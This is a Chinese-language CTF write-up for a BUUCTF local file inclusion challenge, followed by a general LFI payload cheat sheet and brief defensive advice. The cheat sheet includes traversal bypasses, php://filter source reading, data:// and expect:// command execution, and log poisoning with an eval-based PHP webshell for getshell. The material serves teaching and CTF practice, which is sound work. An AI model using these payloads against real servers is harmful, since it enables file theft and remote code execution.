BUUCTF——Basic——BUU LFI COURSE 11

这是一道 ** 本地文件包含(LFI)** 的入门题,核心思路是利用 PHP 的文件包含漏洞读取服务器上的flag文件。


1. 访问靶机并分析代码

打开题目给出的链接:http://ae0c150c-f1dc-4478-b91d-31394a96e6cd.node5.buuoj.cn:81

页面会显示一段 PHP 代码,大致逻辑是:

php

运行

复制代码
if (isset($_GET['file'])) {
    $file = $_GET['file'];
    include($file);
}
  • 代码接收GET参数file,并直接用include()函数包含该文件
  • 无任何过滤,存在典型的 LFI 漏洞

2. 构造 Payload 读取 flag

在 CTF 中,flag通常存放在服务器根目录/flag,我们直接构造 URL:

plaintext

复制代码
http://ae0c150c-f1dc-4478-b91d-31394a96e6cd.node5.buuoj.cn:81/?file=/flag

访问后页面会直接显示flag内容,复制提交即可。

如果/flag路径不生效,也可以尝试路径穿越:

plaintext

复制代码
?file=../../../../flag

../向上跳转目录,最终定位到根目录的flag文件。


3. 提交 Flag

将页面显示的flag(格式通常为flag{...})复制到题目下方的输入框,点击提交即可完成解题。✅


💡 原理总结

这道题的核心是无过滤的文件包含

  • 攻击者可控file参数,直接指定服务器上的任意文件路径
  • PHP 的include()会读取并执行(如果是 PHP)或展示(如果是文本)目标文件内容
  • 本题只需读取文本形式的flag,无需代码执行

📝 LFI 漏洞常见 Payload 清单

一、基础文件读取(无过滤场景)

1. 直接读取绝对路径

plaintext

复制代码
?file=/etc/passwd          # Linux 系统用户信息
?file=/flag                # CTF 常见 flag 位置
?file=/var/log/apache2/access.log  # Apache 访问日志
?file=C:\Windows\System32\drivers\etc\hosts  # Windows hosts 文件

2. 相对路径穿越(绕过简单过滤)

plaintext

复制代码
?file=../../../../etc/passwd
?file=....//....//....//etc/passwd  # 绕过 ../ 过滤
?file=..././..././etc/passwd        # 绕过 ../ 过滤

二、PHP 协议利用(进阶利用)

1. php://filter 读取源码(关键!)

用于读取 PHP 等脚本文件的源码,避免被直接执行:

plaintext

复制代码
?file=php://filter/convert.base64-encode/resource=index.php
?file=php://filter/read=convert.base64-encode/resource=config.php

得到 Base64 后解码即可看到源码。

2. data:// 执行代码(需要 allow_url_include=On

plaintext

复制代码
?file=data://text/plain,<?php system('id');?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKGlkKTs/Pg==

3. expect:// 执行系统命令(需要安装 expect 扩展)

plaintext

复制代码
?file=expect://id
?file=expect://ls /

4. phar:// 反序列化利用(配合反序列化漏洞)

plaintext

复制代码
?file=phar://shell.phar/shell.txt

三、日志包含 Getshell(经典 getshell 方式)

1. Apache 日志包含

  1. 先在 User-Agent 中写入一句话木马: plaintext

    复制代码
    <?php eval($_GET['cmd']);?>
  2. 访问日志文件: plaintext

    复制代码
    ?file=/var/log/apache2/access.log
    ?file=/var/log/httpd/access.log
  3. 访问 ?cmd=id 执行命令。

2. Nginx 日志包含

plaintext

复制代码
?file=/var/log/nginx/access.log
?file=/var/log/nginx/error.log

3. SSH 日志包含

plaintext

复制代码
?file=/var/log/auth.log
?file=/var/log/secure

先通过 SSH 连接时写入恶意代码到日志,再包含执行。


四、绕过技巧

1. 绕过路径限制

  • 双写绕过:....// → 解析为 ../
  • 编码绕过:%2e%2e%2f../
  • 空字节截断(PHP < 5.3.4):?file=/flag%00

2. 绕过后缀限制

  • 点号截断:?file=/flag............
  • 路径长度截断:?file=/../../../../../../../../../../../../flag
  • 协议绕过:用 php://filter 等协议直接读取。

五、CTF 场景高频 Payload

表格

场景 Payload
读 flag ?file=/flag
读源码 ?file=php://filter/convert.base64-encode/resource=index.php
日志 getshell ?file=/var/log/apache2/access.log
Windows 读 hosts ?file=C:\Windows\System32\drivers\etc\hosts

六、防御建议

  • 固定文件路径白名单,不允许用户直接控制文件路径
  • 过滤 ../php:// 等危险字符
  • 关闭 allow_url_include 和不必要的 PHP 协议
  • 使用 open_basedir 限制 PHP 可访问的目录
相关推荐
黎阳之光6 小时前
黎阳之光:视频孪生领跑者,铸就中国数字科技全球竞争力
大数据·人工智能·算法·安全·数字孪生
上海云盾-高防顾问6 小时前
网络安全防护发展趋势:从被动防御到主动赋能
安全·web安全
CCTI_Curran7 小时前
UL4200A是美国针对纽扣电池安全标准
安全·纽扣电池·ul4200a·纽扣电池gcc认证·美国亚马逊
做个文艺程序员7 小时前
MySQL安全加固十大硬核操作
数据库·mysql·安全
是罐装可乐7 小时前
深入理解“句柄(Handle)“:从浏览器安全到文件系统访问
前端·javascript·安全
Figo_Cheung8 小时前
Figo义商本体约束推理引擎 (CRE):基于已部署CRE本地模型的技术实践研究——迈向AGI时代的AI伦理安全框架
人工智能·安全
信创DevOps先锋9 小时前
DevOps工具链选型新趋势:本土化适配与安全可控成企业核心诉求
运维·安全·devops
ayt0079 小时前
Netty AbstractNioChannel源码深度剖析:NIO Channel的抽象实现
java·数据库·网络协议·安全·nio
三七吃山漆10 小时前
BUUCTF-[BJDCTF2020]Mark loves cat
web安全·网络安全·buuctf
盟接之桥11 小时前
盟接之桥®制造业EDI软件,打通全球供应链“最后一公里”,赋能中国制造连接世界
网络·安全·低代码·重构·汽车·制造